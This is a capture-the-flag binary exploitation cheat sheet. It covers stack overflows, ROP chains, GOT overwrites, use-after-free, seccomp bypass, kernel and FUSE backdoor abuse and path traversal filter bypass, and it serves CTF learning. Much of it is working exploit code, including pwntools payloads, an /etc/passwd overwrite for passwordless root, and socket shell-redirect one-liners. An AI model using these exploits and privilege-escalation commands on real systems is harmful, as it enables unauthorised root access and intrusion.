CTF Binary Exploitation (Pwn)
Quick reference for pwn challenges. For detailed techniques, see supporting files.
Additional Resources
- •format-string.md - Format string exploitation (leaks, GOT overwrite, blind pwn, filter bypass)
- •advanced.md - Advanced techniques (heap, JIT, esoteric GOT, custom allocators, DNS overflow)
Source Code Red Flags
- •Threading/
pthread→ race conditions - •
usleep()/sleep()→ timing windows - •Global variables in multiple threads → TOCTOU
Race Condition Exploitation
bash -c '{ echo "cmd1"; echo "cmd2"; sleep 1; } | nc host port'
Common Vulnerabilities
- •Buffer overflow:
gets(),scanf("%s"),strcpy() - •Format string:
printf(user_input) - •Integer overflow, UAF, race conditions
Kernel Exploitation
- •Look for vulnerable
lseekhandlers allowing OOB read/write - •Heap grooming with forked processes
- •SUID binary exploitation via kernel-to-userland buffer overflow
- •Check kernel config for disabled protections:
- •
CONFIG_SLAB_FREELIST_RANDOM=n→ sequential heap chunks - •
CONFIG_SLAB_MERGE_DEFAULT=n→ predictable allocations
- •
FUSE/CUSE Character Device Exploitation
FUSE (Filesystem in Userspace) / CUSE (Character device in Userspace)
Identification:
- •Look for
cuse_lowlevel_main()orfuse_main()calls - •Device operations struct with
open,read,writehandlers - •Device name registered via
DEVNAME=backdooror similar
Common vulnerability patterns:
// Backdoor pattern: write handler with command parsing
void backdoor_write(const char *input, size_t len) {
char *cmd = strtok(input, ":");
char *file = strtok(NULL, ":");
char *mode = strtok(NULL, ":");
if (!strcmp(cmd, "b4ckd00r")) {
chmod(file, atoi(mode)); // Arbitrary chmod!
}
}
Exploitation:
# Change /etc/passwd permissions via custom device echo "b4ckd00r:/etc/passwd:511" > /dev/backdoor # 511 decimal = 0777 octal (rwx for all) # Now modify passwd to get root echo "root::0:0:root:/root:/bin/sh" > /etc/passwd su root
Privilege escalation via passwd modification:
- •Make
/etc/passwdwritable via the backdoor - •Replace root line with
root::0:0:root:/root:/bin/sh(no password) - •
su rootwithout password prompt
Busybox/Restricted Shell Escalation
When in restricted environment without sudo:
- •Find writable paths via character devices
- •Target system files:
/etc/passwd,/etc/shadow,/etc/sudoers - •Modify permissions then content to gain root
Protection Implications for Exploit Strategy
| Protection | Status | Implication |
|---|---|---|
| PIE | Disabled | All addresses (GOT, PLT, functions) are fixed - direct overwrites work |
| RELRO | Partial | GOT is writable - GOT overwrite attacks possible |
| RELRO | Full | GOT is read-only - need alternative targets (hooks, vtables, return addr) |
| NX | Enabled | Can't execute shellcode on stack/heap - use ROP or ret2win |
| Canary | Present | Stack smash detected - need leak or avoid stack overflow (use heap) |
Quick decision tree:
- •Partial RELRO + No PIE → GOT overwrite (easiest, use fixed addresses)
- •Full RELRO → target
__free_hook,__malloc_hook(glibc < 2.34), or return addresses - •Stack canary present → prefer heap-based attacks or leak canary first
Stack Buffer Overflow
- •Find offset to return address:
cyclic 200thencyclic -l <value> - •Check protections:
checksec --file=binary - •No PIE + No canary = direct ROP
- •Canary leak via format string or partial overwrite
ret2win with Parameter (Magic Value Check)
Pattern: Win function checks argument against magic value before printing flag.
// Common pattern in disassembly
void win(long arg) {
if (arg == 0x1337c0decafebeef) { // Magic check
// Open and print flag
}
}
Exploitation (x86-64):
from pwn import * # Find gadgets pop_rdi_ret = 0x40150b # pop rdi; ret ret = 0x40101a # ret (for stack alignment) win_func = 0x4013ac magic = 0x1337c0decafebeef offset = 112 + 8 # = 120 bytes to reach return address payload = b"A" * offset payload += p64(ret) # Stack alignment (Ubuntu/glibc requires 16-byte) payload += p64(pop_rdi_ret) payload += p64(magic) payload += p64(win_func)
Finding the win function:
- •Search for
fopen("flag.txt")or similar in Ghidra - •Look for functions with no XREF that check a magic parameter
- •Check for conditional print/exit patterns after parameter comparison
Stack Alignment (16-byte Requirement)
Modern Ubuntu/glibc requires 16-byte stack alignment before call instructions. Symptoms of misalignment:
- •SIGSEGV in
movapsinstruction (SSE requires alignment) - •Crash inside libc functions (printf, system, etc.)
Fix: Add extra ret gadget before your ROP chain:
payload = b"A" * offset payload += p64(ret) # Align stack to 16 bytes payload += p64(pop_rdi_ret) # ... rest of chain
Offset Calculation from Disassembly
push %rbp mov %rsp,%rbp sub $0x70,%rsp ; Stack frame = 0x70 (112) bytes ... lea -0x70(%rbp),%rax ; Buffer at rbp-0x70 mov $0xf0,%edx ; read() size = 240 (overflow!)
Calculate offset:
- •Buffer starts at
rbp - buffer_offset(e.g., rbp-0x70) - •Saved RBP is at
rbp(0 offset from buffer end) - •Return address is at
rbp + 8 - •Total offset = buffer_offset + 8 = 112 + 8 = 120 bytes
Input Filtering (memmem checks)
Some challenges filter input using memmem() to block certain strings:
payload = b"A" * 120 + p64(gadget) + p64(value) assert b"badge" not in payload and b"token" not in payload
Finding Gadgets
# Find pop rdi; ret objdump -d binary | grep -B1 "pop.*rdi" ROPgadget --binary binary | grep "pop rdi" # Find simple ret (for alignment) objdump -d binary | grep -E "^\s+[0-9a-f]+:\s+c3\s+ret"
Struct Pointer Overwrite (Heap Menu Challenges)
Pattern: Menu-based programs with create/modify/delete/view operations on structs containing both data buffers and pointers. The modify/edit function reads more bytes than the data buffer, overflowing into adjacent pointer fields.
Struct layout example:
struct Student {
char name[36]; // offset 0x00 - data buffer
int *grade_ptr; // offset 0x24 - pointer to separate allocation
float gpa; // offset 0x28
}; // total: 0x2c (44 bytes)
Exploitation:
from pwn import *
WIN = 0x08049316
GOT_TARGET = 0x0804c00c # printf@GOT
# 1. Create object (allocates struct + sub-allocations)
create_student("AAAA", 5, 3.5)
# 2. Modify name - overflow into pointer field with GOT address
payload = b'A' * 36 + p32(GOT_TARGET) # 36 bytes padding + GOT addr
modify_name(0, payload)
# 3. Modify grade - scanf("%d", corrupted_ptr) writes to GOT
modify_grade(0, str(WIN)) # Writes win addr as int to GOT entry
# 4. Trigger overwritten function -> jumps to win
GOT target selection strategy:
- •Identify which libc functions the
winfunction calls internally - •Do NOT overwrite GOT entries for functions used by
win(causes infinite recursion/crash) - •Prefer functions called in the main loop AFTER the write
| Win uses | Safe GOT targets |
|---|---|
| puts, fopen, fread, fclose, exit | printf, free, getchar, malloc, scanf |
| printf, system | puts, exit, free |
| system only | puts, printf, exit |
ROP Chain Building
from pwn import *
elf = ELF('./binary')
libc = ELF('./libc.so.6')
rop = ROP(elf)
# Common gadgets
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
# Leak libc
payload = flat(
b'A' * offset,
pop_rdi,
elf.got['puts'],
elf.plt['puts'],
elf.symbols['main']
)
Pwntools Template
from pwn import *
context.binary = elf = ELF('./binary')
context.log_level = 'debug'
def conn():
if args.REMOTE:
return remote('host', port)
return process('./binary')
io = conn()
# exploit here
io.interactive()
Useful Commands
one_gadget libc.so.6 # Find one-shot gadgets ropper -f binary # Find ROP gadgets ROPgadget --binary binary # Alternative gadget finder seccomp-tools dump ./binary # Check seccomp rules
Use-After-Free (UAF) Exploitation
Pattern: Menu-based programs with create/delete/view operations where free() doesn't NULL the pointer.
Classic UAF flow:
- •Create object A (allocates chunk with function pointer)
- •Leak address via inspect/view (bypass PIE)
- •Free object A (creates dangling pointer)
- •Allocate object B of same size (reuses freed chunk via tcache)
- •Object B data overwrites A's function pointer with
win()address - •Trigger A's callback → jumps to
win()
Key insight: Both structs must be the same size for tcache to reuse the chunk.
# UAP Watch pattern
create_report("sighting-0") # 64-byte struct with callback ptr at +56
leak = inspect_report(0) # Leak callback address for PIE bypass
pie_base = leak - redaction_offset
win_addr = pie_base + win_offset
delete_report(0) # Free chunk, dangling pointer remains
# Allocate same-size struct, overwriting callback
create_signal(b"A"*56 + p64(win_addr))
analyze_report(0) # Calls dangling pointer → win()
Seccomp Bypass
Alternative syscalls when seccomp blocks open()/read():
- •
openat()(257),openat2()(437, often missed!),sendfile()(40),readv()/writev()
Check rules: seccomp-tools dump ./binary
See advanced.md for: conditional buffer address restrictions, shellcode construction without relocations (call/pop trick), seccomp analysis from disassembly, scmp_arg_cmp struct layout.
Stack Shellcode with Input Reversal
Pattern (Scarecode): Binary reverses input buffer before returning.
Strategy:
- •Leak address via info-leak command (bypass PIE)
- •Find
sub rsp, 0x10; jmp *%rspgadget - •Pre-reverse shellcode and RIP overwrite bytes
- •Use partial 6-byte RIP overwrite (avoids null bytes from canonical addresses)
- •Place trampoline (
jmp short) to hop back into NOP sled + shellcode
Null-byte avoidance with scanf("%s"):
- •Can't embed
\x00in payload - •Use partial pointer overwrite (6 bytes) — top 2 bytes match since same mapping
- •Use short jumps and NOP sleds instead of multi-address ROP chains
Path Traversal Sanitizer Bypass
Pattern (Galactic Archives): Sanitizer skips character after finding banned char.
# Sanitizer removes '.' and '/' but skips next char after match # ../../etc/passwd → bypass with doubled chars: "....//....//etc//passwd" # Each '..' becomes '....' (first '.' caught, second skipped, third caught, fourth survives)
Flag via /proc/self/fd/N:
- •If binary opens flag file but doesn't close fd, read via
/proc/self/fd/3 - •fd 0=stdin, 1=stdout, 2=stderr, 3=first opened file
Global Buffer Overflow (CSV Injection)
Pattern (Spreadsheet): Adjacent global variables exploitable via overflow.
Exploitation:
- •Identify global array adjacent to filename pointer in memory
- •Overflow array bounds by injecting extra delimiters (commas in CSV)
- •Overflowed pointer lands on filename variable
- •Change filename to
flag.txt, then trigger read operation
# Edit last cell with comma-separated overflow
edit_cell("J10", "whatever,flag.txt")
save() # CSV row now has 11 columns
load() # Column 11 overwrites savefile pointer with ptr to "flag.txt"
load() # Now reads flag.txt into spreadsheet
print_spreadsheet() # Shows flag
Shell Tricks
File descriptor redirection (no reverse shell needed):
# Redirect stdin/stdout to client socket (fd 3 common for network) exec <&3; sh >&3 2>&3 # Or as single command string exec<&3;sh>&3
- •Network servers often have client connection on fd 3
- •Avoids firewall issues with outbound connections
- •Works when you have command exec but limited chars
Find correct fd:
ls -la /proc/self/fd # List open file descriptors
Short shellcode alternatives:
- •
sh<&3 >&3- minimal shell redirect - •Use
$0instead ofshin some shells